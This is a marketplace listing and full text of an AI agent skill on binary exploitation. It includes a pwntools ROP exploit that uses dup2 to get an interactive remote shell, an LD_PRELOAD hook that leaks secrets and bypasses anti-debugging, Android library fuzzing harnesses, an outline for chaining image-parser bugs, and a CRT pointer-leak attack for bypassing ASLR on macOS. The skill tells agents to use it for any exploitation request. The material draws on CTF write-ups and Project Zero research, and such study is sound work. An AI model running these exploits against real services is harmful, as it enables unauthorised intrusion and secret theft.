# Common Exploitation Techniques

> How to apply common exploitation patterns including FD duplication for remote shells, socat/pty escape handling, Android shared-library fuzzing with LD_PRELOAD hooking, image parser exploitation, and pointer-keyed hash table pointer leaks. Use this skill whenever the user mentions exploitation, remote shells, socket exploitation, Android fuzzing, shared library analysis, LD_PRELOAD, image format parsing, ASLR bypass, pointer leaks, or any binary exploitation scenario.

- Skill: `abelrguezr/common-exploitation-techniques` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/common-exploitation-techniques`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/common-exploitation-techniques/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/common-exploitation-techniques

---


# Common Exploitation Techniques

This skill covers practical exploitation patterns that appear frequently in real-world scenarios. Each section provides actionable guidance with working examples.

## FD Duplication for Remote Shell Interaction

### When to use
When exploiting a remote service that spawns a shell (e.g., `system('/bin/sh')`) but you cannot interact with it because stdin/stdout are not connected to your socket.

### The problem
When a server process executes `system('/bin/sh')`, the shell expects:
- **stdin (FD 0)**: for input
- **stdout (FD 1)**: for output
- **stderr (FD 2)**: for errors

If these aren't connected to your attacker socket, you get a non-interactive shell.

### The solution
Use `dup2()` to redirect stdin/stdout to the socket FD. When a server accepts a connection, it typically:
1. Creates a listening socket (FD 3)
2. Accepts your connection (FD 4)

Redirect FD 0 and 1 to FD 4:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)  # padding to reach ROP chain
rop.dup2(4, 0)      # dup2(socket_fd, stdin)
rop.dup2(4, 1)      # dup2(socket_fd, stdout)
rop.win()           # your shell-spawning function

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```

### Finding the correct FD
If you're unsure which FD the socket uses:
1. Check the server's `accept()` call - the returned FD is your target
2. Use `strace` on the server to see FD allocation
3. Try common values: 3, 4, 5 (after stdin/stdout/stderr)

## Socat & PTY Escape Character Handling

### When to use
When using `socat` with PTY mode and your exploit contains `\x7f` (DELETE character).

### The problem
Socat in PTY mode interprets `\x7f` as a backspace/delete character, which corrupts your exploit payload.

### The solution
Prepend the escape character `\x16` before any `\x7f` in your payload:

```python
# Instead of sending: payload = b'\x7f\x7f\x7f'
# Send: payload = b'\x16\x7f\x16\x7f\x16\x7f'

# In pwnlib:
payload = payload.replace(b'\x7f', b'\x16\x7f')
```

### Alternative
Use `socat` without PTY mode if possible:
```bash
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln"
# Instead of:
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln",pty
```

## Android AArch64 Shared Library Fuzzing

### When to use
When you have a stripped AArch64 `.so` file from an Android app and need to fuzz exported functions without rebuilding the APK.

### Workflow

#### Step 1: Locate callable entry points
```bash
objdump -T libvalidate.so | grep -E "validate|check|verify"
```

Use Ghidra/IDA to determine function signatures:
```c
int validate(const uint8_t *buf, uint64_t len);
```

#### Step 2: Write a standalone harness
Create `harness.c`:

```c
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) {
    if (argc < 2) return 1;
    int fd = open(argv[1], O_RDONLY);
    if (fd < 0) return 1;
    struct stat st = {0};
    if (fstat(fd, &st) < 0) return 1;
    uint8_t *buffer = malloc(st.st_size + 1);
    read(fd, buffer, st.st_size);
    close(fd);
    int ret = validate(buffer, st.st_size);
    free(buffer);
    return ret;
}
```

Cross-compile with NDK:
```bash
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie -o harness
```

#### Step 3: Bypass anti-debug with LD_PRELOAD
If the `.so` imports `snprintf` and contains secrets:

```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
    static vsnprintf_t real_vsnprintf;
    if (!real_vsnprintf)
        real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

    va_list args;
    va_start(args, fmt);
    va_list args_copy;
    va_copy(args_copy, args);
    
    // Leak format strings containing secrets
    if (fmt && strstr(fmt, "FLAG{")) {
        fprintf(stdout, "[LEAK] ");
        vfprintf(stdout, fmt, args);
        fputc('\n', stdout);
    }
    
    int ret = real_vsnprintf(str, size, fmt, args_copy);
    va_end(args_copy);
    va_end(args);
    return ret;
}
```

Compile and run:
```bash
gcc -shared -fPIC -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./harness payload.json
```

#### Step 4: Create AFL harness for targeted fuzzing
If you've identified the exact bytes to fuzz:

```c
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) {
    uint8_t blob[FUZZ_SIZE];
    if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
    
    // Embed fuzz bytes in valid structure
    char json[512];
    int len = snprintf(json, sizeof(json),
        "{\"magic\":16909060,\"flag\":\"FLAG{827b07c%s}\"}",
        blob);
    
    validate((unsigned char *)json, len);
    return 0;
}
```

Run AFL:
```bash
afl-cc -o afl_harness afl_harness.c
afl-fuzz -i input_dir -o output_dir ./afl_harness
```

## Image/Media Parser Exploitation

### When to use
When analyzing image formats (DNG, TIFF, JPEG) that contain embedded bytecode or metadata that controls parsing behavior.

### Common attack vectors

#### 1. Opcode-based formats
Some formats ship with bytecode interpreters:
- **DNG**: tone curves, map tables
- **TIFF**: IFD entries with custom tags
- **JPEG**: APP segments with proprietary data

#### 2. Bounds-check bypasses
Look for:
- Metadata-derived dimensions not validated
- Plane indices from untrusted data
- Array sizes from file headers

#### 3. Heap grooming
Malicious opcodes can:
- Allocate specific sizes to control heap layout
- Free objects to create controlled holes
- Spray the heap with attacker data

### Example: Chaining vulnerabilities
```python
from pwn import *

# 1. Bounds bug to read arbitrary memory
# 2. Heap spray to control freed objects
# 3. Vtable remapping for code execution
# 4. JOP chain to system()

# See: Samsung Quram exploit for real-world example
```

## Pointer-Keyed Hash Table Pointer Leaks

### When to use
When a service deserializes attacker-controlled property lists and re-serializes them, particularly on macOS/iOS with `NSKeyedUnarchiver`.

### The vulnerability
Before March 2025, `CFNull`/`NSNull` used pointer address as hash:
```c
CFHash(object) == (uintptr_t)object
```

The singleton `kCFNull` lives at a fixed shared-cache address, making its hash stable across processes.

### Attack workflow

#### Step 1: Craft input plist
Create dictionaries with controlled bucket patterns:

```c
// For each prime p in {23, 41, 71, 127, 191, 251, 383, 631, 1087}:
// Create two dictionaries:
// - One with even buckets filled
// - One with odd buckets filled
// NSNull serialized last in each
```

#### Step 2: Send to victim
```bash
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
# Send to victim service
```

#### Step 3: Extract residues from response
The serialized key order reveals bucket indices:

```c
// For each dictionary pair, determine:
// hash(NSNull) % p = r_i
```

#### Step 4: Apply Chinese Remainder Theorem
```python
def crt(residues, moduli):
    """Solve system of congruences using CRT"""
    from math import gcd
    
    result = 0
    product = 1
    
    for m in moduli:
        product *= m
    
    for r, m in zip(residues, moduli):
        p = product // m
        result += r * p * extended_gcd(p, m)[1]
    
    return result % product

# Moduli: [23, 41, 71, 127, 191, 251, 383, 631, 1087]
# Product > 2^64, so result is unique 64-bit pointer
pointer = crt(residues, moduli)
print(f"Leaked pointer: {hex(pointer)}")
```

### Why this works
- `NSDictionary` uses `CFBasicHash` with prime bucket counts
- Serialization walks buckets in numeric order
- Key order in output encodes bucket indices
- No memory corruption needed - just observation

## Quick Reference

| Technique | Key Function | Typical Use Case |
|-----------|--------------|------------------|
| FD Duplication | `dup2(fd, 0)`, `dup2(fd, 1)` | Remote shell interaction |
| Socat Escape | Prepend `\x16` to `\x7f` | PTY-based exploits |
| LD_PRELOAD Hook | `dlsym(RTLD_NEXT, "func")` | Anti-debug bypass, secret leakage |
| AFL Fuzzing | `read(STDIN_FILENO, ...)` | Targeted binary fuzzing |
| CRT Pointer Leak | Extended Euclidean Algorithm | ASLR bypass on macOS |

## Related Resources
- [Pwntools documentation](https://docs.pwntools.com/)
- [AFL documentation](http://lcamtuf.coredump.cx/afl/)
- [Project Zero: Pointer leaks through pointer-keyed data structures](https://projectzero.google/2025/09/pointer-leaks-through-pointer-keyed.html)
- [FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library](https://hackmd.io/@sal/fuzzme-mobilehackinglab-ctf-writeup)

